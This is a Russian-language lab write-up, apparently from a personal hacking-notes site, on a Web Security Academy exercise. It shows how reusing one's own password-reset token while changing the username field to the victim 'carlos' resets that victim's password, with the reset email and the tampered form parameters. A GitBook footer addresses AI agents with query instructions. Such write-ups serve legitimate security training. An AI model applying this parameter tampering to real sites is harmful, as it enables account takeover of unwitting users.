> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/authentication/flawed-password-reset-logic.md).

# Ошибочная логика в сбросе пароля

### Нарушенная логика сброса пароля

Лабораторная работа демонстрирует уязвимость в механизме сброса пароля. Цель — сбросить пароль для **Карлоса** и затем получить доступ к его странице My account. / Предоставленный идентификатор:

* **wiener:peter**
* Имя жертвы: **carlos**

### Анализ и шаги

#### 1. Функция Forgot Password

Приложение предлагает функцию восстановления через Forgot password.

<figure><img src="/files/4dba0ba07a8d1c66b42f5f34604b353836c57311" alt="" width="436"><figcaption></figcaption></figure>

Из этого раздела можно изменить адрес электронной почты, связанный с учетной записью

<figure><img src="/files/dabf50b73a87e29b28471ac02abe9fd8d62f3a59" alt="" width="563"><figcaption></figcaption></figure>

#### 2. Получение письма для сброса

<figure><img src="/files/f3577b5b705d440f5ede7503e479d442cefdc3aa" alt=""><figcaption></figcaption></figure>

После изменения адреса электронной почты отправляется сообщение, содержащее ссылку для сброса. / Письмо включает временный **токен** в URL:

```http
Отправлено:     2025-12-09 19:42:17 +0000
От:     "No reply" <no-reply@0ae200710383c04f868b0866005e0000.web-security-academy.net>
Кому:     wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
Тема:  Восстановление учетной записи

Здравствуйте!

Пожалуйста, перейдите по ссылке ниже, чтобы сбросить пароль.

https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj

Спасибо,
Служба поддержки
```

#### 3. Отправка формы

При переходе по этой ссылке приложение запрашивает ввод нового пароля. / Отправляемые параметры похожи на:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```

<figure><img src="/files/9d7203c781b94915e8d50c089ca79c2c527057ef" alt=""><figcaption></figcaption></figure>

#### 4. Эксплуатация дефектной логики

Сервер не проверяет **не** что токен действительно соответствует пользователю, указанному в запросе. / Просто замените поле **username=wiener** на **username=carlos**:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```

Приложение принимает запрос, что позволяет задать новый пароль для Карлоса.

<figure><img src="/files/c2760055c91a229aebf51e963ab8e5d57a602526" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/authentication/flawed-password-reset-logic.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
